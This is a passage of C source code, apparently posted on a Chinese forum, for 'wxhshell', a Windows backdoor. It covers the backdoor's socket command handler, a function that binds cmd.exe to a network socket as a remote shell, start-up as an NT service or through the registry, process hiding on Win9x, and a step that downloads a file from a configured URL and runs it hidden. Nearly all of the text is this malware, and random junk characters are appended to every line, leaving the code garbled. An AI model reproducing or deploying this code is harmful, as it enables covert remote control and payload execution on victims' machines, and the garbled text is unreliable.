  else { P99s   
m3_)UIJZ  
    switch(cmd[0]) { #DH eEE  
  niM(0p  
  // 帮助 <NMOs"NB  
  case '?': { UgLJV2M6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mHC36ba  
    break; GJuU?h#:/{  
  } ;V1e>?3  
  // 安装 sk`RaDq@;  
  case 'i': { rB5+~ K@  
    if(Install()) lnntb3q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9+\  
    else k+cHx799  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cGjkx3l*  
    break; eD 7Rv<  
    } ,[Z;"wE  
  // 卸载 `#N7ym;s@  
  case 'r': { a^&3?3   
    if(Uninstall()) ia /_61%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {{_,YO^w  
    else 4:v{\R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h'G8@j;  
    break;  '+C%]p  
    } Jz\'%O'  
  // 显示 wxhshell 所在路径 NW;wy;;  
  case 'p': { w2`j&]D6  
    char svExeFile[MAX_PATH]; +UP?M4g  
    strcpy(svExeFile,"\n\r"); \t@|-`  
      strcat(svExeFile,ExeFile); T?FR@. Rm  
        send(wsh,svExeFile,strlen(svExeFile),0); n?A;'\cK  
    break;  6@ )bZ|  
    } R0mWVgoz  
  // 重启 sFxciCpN  
  case 'b': { "'"dcA   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/`V.jXt>  
    if(Boot(REBOOT)) M3 $MgsN:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LHP?!rO0  
    else { $rE_rZ+]="  
    closesocket(wsh); 1YMu\(  
    ExitThread(0); x; *KRO  
    } hC =="4 -  
    break; qT L@N9  
    } <$ Ar*<,6  
  // 关机 Z?-l-s K  
  case 'd': { T/C1x9=?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W1J7$   
    if(Boot(SHUTDOWN)) V|fs"HY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [HENk34  
    else { uJ$!lyJ6L  
    closesocket(wsh); !xK`:[B  
    ExitThread(0); e: :H1V  
    } BK]q^.7+:  
    break; Gwkp(9d  
    } ,!4 (B1@  
  // 获取shell /fc@=CO  
  case 's': { 0qV!-i  
    CmdShell(wsh); {GiR-q{t  
    closesocket(wsh); Wc$1Re{z  
    ExitThread(0); Ie?C<(8Ul  
    break;  `#lNur\x  
  } "L" 6jT  
  // 退出 W7"ks(  
  case 'x': { oFV >b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )/9/p17:xu  
    CloseIt(wsh); jM3{A;U2  
    break; <&rvv4*H  
    } YvK8;<k@-?  
  // 离开 ?79ABm a  
  case 'q': { Tce2]"^;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `D%bZ%25c  
    closesocket(wsh); lU.@! rGbw  
    WSACleanup(); 6^.<5SJ}  
    exit(1); O(PG"c  
    break; u-7/4Y)c  
        } U.G**v  
  } ;[@< ,  
  } Ui 7S8c#tH  
u1&pJLK0[  
  // 提示信息 3say&|kJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LdAfY0  
} "tbKKh66  
  } / %U+kW  
a ^b_&}y  
  return; Bn/ {J  
} GV([gs  
PDo%ob\Ym  
// shell模块句柄 eVDI7W:(Sn  
int CmdShell(SOCKET sock) *eytr#0B-  
{ [x 5T7=  
STARTUPINFO si; >LwZ"IE V  
ZeroMemory(&si,sizeof(si)); T)]5k3{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B@l/'$G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /nRi19a%xU  
PROCESS_INFORMATION ProcessInfo; eUA6X ,I  
char cmdline[]="cmd"; ND7 gxt-B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A|8(3PiP  
  return 0; 8hi|F\$_h  
} oxb#{o9G  
W9T,1h5x  
// 自身启动模式 y!Q&;xO+!  
int StartFromService(void) kQ~*iY  
{ $aX}i4F  
typedef struct IXugnvyV  
{ Sf)VQ5U!Y  
  DWORD ExitStatus; 2mbZ6'p {  
  DWORD PebBaseAddress; 4*_9Gl  
  DWORD AffinityMask; `bffw:; %  
  DWORD BasePriority; =LS?:Mhm  
  ULONG UniqueProcessId; jyf[O -  
  ULONG InheritedFromUniqueProcessId; Qd 1Q~PBla  
}   PROCESS_BASIC_INFORMATION; ]dc^@}1bN  
&V[m{.  
PROCNTQSIP NtQueryInformationProcess; q7C>A`w  
XU .FLNe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RJ1 Q.o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -1~bWRYq  
Mjrl KI}f/  
  HANDLE             hProcess; o@r+Y  
  PROCESS_BASIC_INFORMATION pbi; e qQAst#~  
rm NqS+t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p UWj,&t  
  if(NULL == hInst ) return 0; Zycu3%JI  
SqTO~zGC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 37Z:WJ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y6/'gg'&5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u~6`9'Ms  
'@9h@,tc  
  if (!NtQueryInformationProcess) return 0; }.O2xZ;}]'  
{b[8x   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'QjX2ytgX  
  if(!hProcess) return 0; ` a5$VV%J  
!L+*.k:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kgi%Nd  
RiF~-;v&  
  CloseHandle(hProcess); a 1Qg&s<  
Tz1St{s\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {mMrD 5  
if(hProcess==NULL) return 0; T&I*8 R~  
!j6]k^ra  
HMODULE hMod; NWSBqL5v   
char procName[255]; q3B#rje>h  
unsigned long cbNeeded; _H|x6X1-  
|<P]yn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `AeId/A4n  
`(<XdlOj  
  CloseHandle(hProcess); u<./ddC  
9. Q;J#;1  
if(strstr(procName,"services")) return 1; // 以服务启动 (t1:2WY@  
K>9]I97g'  
  return 0; // 注册表启动 7M<Ae D%  
} <XX\4[wb  
Sb+pB58&N  
// 主模块 l)fF)\|;=  
int StartWxhshell(LPSTR lpCmdLine) a%7ju4CVj  
{ 2:Q9g ru  
  SOCKET wsl; @!&\Z[",  
BOOL val=TRUE; \ aQBzEX  
  int port=0; ]L%qfy4  
  struct sockaddr_in door; Q2iS0#  
aHe/MucK  
  if(wscfg.ws_autoins) Install(); lqa.Nj  
CE:TQzg  
port=atoi(lpCmdLine); *[(O&L&0  
fP%hr gL  
if(port<=0) port=wscfg.ws_port; >Qz#;HI  
$ckX H,l_  
  WSADATA data; 9 W> <m[O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7\'vSHIL  
@;M( oFS9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gR"'|c   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bWo-( qxq  
  door.sin_family = AF_INET; 2c@R!*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5b R;R{:x  
  door.sin_port = htons(port); f@Rn&&-  
:f?\ mVS+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mdR:XuRD"t  
closesocket(wsl); 2f16 /0J@  
return 1; 7^#f<m;Ar!  
} eyy{z;D8r  
u[dR*o0'  
  if(listen(wsl,2) == INVALID_SOCKET) { DTk)Y-eQ  
closesocket(wsl); MbC7`Sp&i  
return 1; h}i /u  
} Pfu2=2Ra  
  Wxhshell(wsl); }x`W+r  
  WSACleanup(); L"A,7@:Vd  
g8 ,V( ^  
return 0; RyKsM.   
V03U"eI="  
} aErms-~  
4<)%Esyb  
// 以NT服务方式启动 b"t95qlL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iXK.QktHw  
{ ilEWxr;,  
DWORD   status = 0; 3:7J@>  
  DWORD   specificError = 0xfffffff; -z./6dQ  
:TqvL'9o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j{SRE1tqh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {$)zC*l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r5> FU>7'  
  serviceStatus.dwWin32ExitCode     = 0; oE[wOq +  
  serviceStatus.dwServiceSpecificExitCode = 0; j<>E Fd  
  serviceStatus.dwCheckPoint       = 0; #ok1qT9_  
  serviceStatus.dwWaitHint       = 0; A&rk5y;  
jt?4raNW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z;=G5O uvQ  
  if (hServiceStatusHandle==0) return; Lz's!b  
)4>M<BO  
status = GetLastError(); W'u6F-$2  
  if (status!=NO_ERROR) P% _cIR  
{ I?LJXo\O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ikql  
    serviceStatus.dwCheckPoint       = 0; P?  VGY  
    serviceStatus.dwWaitHint       = 0; B *p`e1  
    serviceStatus.dwWin32ExitCode     = status; \:9dt8(-U  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0m7ANqE[Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9{@[ l!]W  
    return; m.e+S,i  
  } ]l7) F-v  
qZACX.Hw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =<R")D]4z  
  serviceStatus.dwCheckPoint       = 0; R)MWO5  
  serviceStatus.dwWaitHint       = 0; %^ f! = *  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xDv$z.=Y  
} i"Hec9Ri  
[74HUw>  
// 处理NT服务事件,比如:启动、停止 c""*Ng*T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N7:=%Fy(  
{ t+7h(?8L  
switch(fdwControl) @^]wT_r  
{ 9J h"1i>x2  
case SERVICE_CONTROL_STOP: jh0``{  
  serviceStatus.dwWin32ExitCode = 0; e\%+~GUTC=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6&_"dg"  
  serviceStatus.dwCheckPoint   = 0; PnkJ Wl<S  
  serviceStatus.dwWaitHint     = 0; <0T5W#H`D  
  { 4$.$j=Ct."  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GTL gj'B  
  } "<ua G?:  
  return; iq2)oC_  
case SERVICE_CONTROL_PAUSE: '8\7(0$c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $51M' Qu  
  break; 6t/nM  
case SERVICE_CONTROL_CONTINUE: P1KXvc}JGe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X-2rC  
  break; a,g3 /  
case SERVICE_CONTROL_INTERROGATE: u UXj  
  break; 3fPd|F.kF  
}; r8>(ayJ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xmr|k:z  
} uvR9BL2=  
FeOo;|a  
// 标准应用程序主函数 ,PC'xrEo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XCr\Y`,Z@  
{ gv)F`uRWA  
mOgsO  
// 获取操作系统版本 &AM<H}>  
OsIsNt=GetOsVer(); 7R9.g6j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qNb|6/DG  
f d~a\5%e  
  // 从命令行安装 zj:= 9$  
  if(strpbrk(lpCmdLine,"iI")) Install(); !lQGoXQ'4  
D+edTAQ8  
  // 下载执行文件 YuufgPE*H  
if(wscfg.ws_downexe) { i4;`dCT|A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rP$vZ^/c  
  WinExec(wscfg.ws_filenam,SW_HIDE); ${I$@qq83  
} @!k\Ivd  
r*?rwtFtg  
if(!OsIsNt) { XRoMD6qf;  
// 如果时win9x,隐藏进程并且设置为注册表启动 vC$Q4>m  
HideProc(); HQPb  
StartWxhshell(lpCmdLine); }?[^q  
} 74f3a|vx/  
else GjTj..G/  
  if(StartFromService()) Pf,S`U w;  
  // 以服务方式启动 s&(,_34  
  StartServiceCtrlDispatcher(DispatchTable); &%J+d"n(  
else +LBDn"5  
  // 普通方式启动 ,K4*0!TXP  
  StartWxhshell(lpCmdLine); `"~s<+  
) D_ZZPq_  
return 0; 1$S;#9PQ  
}
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只看该作者 1 发表于: 2006-10-10
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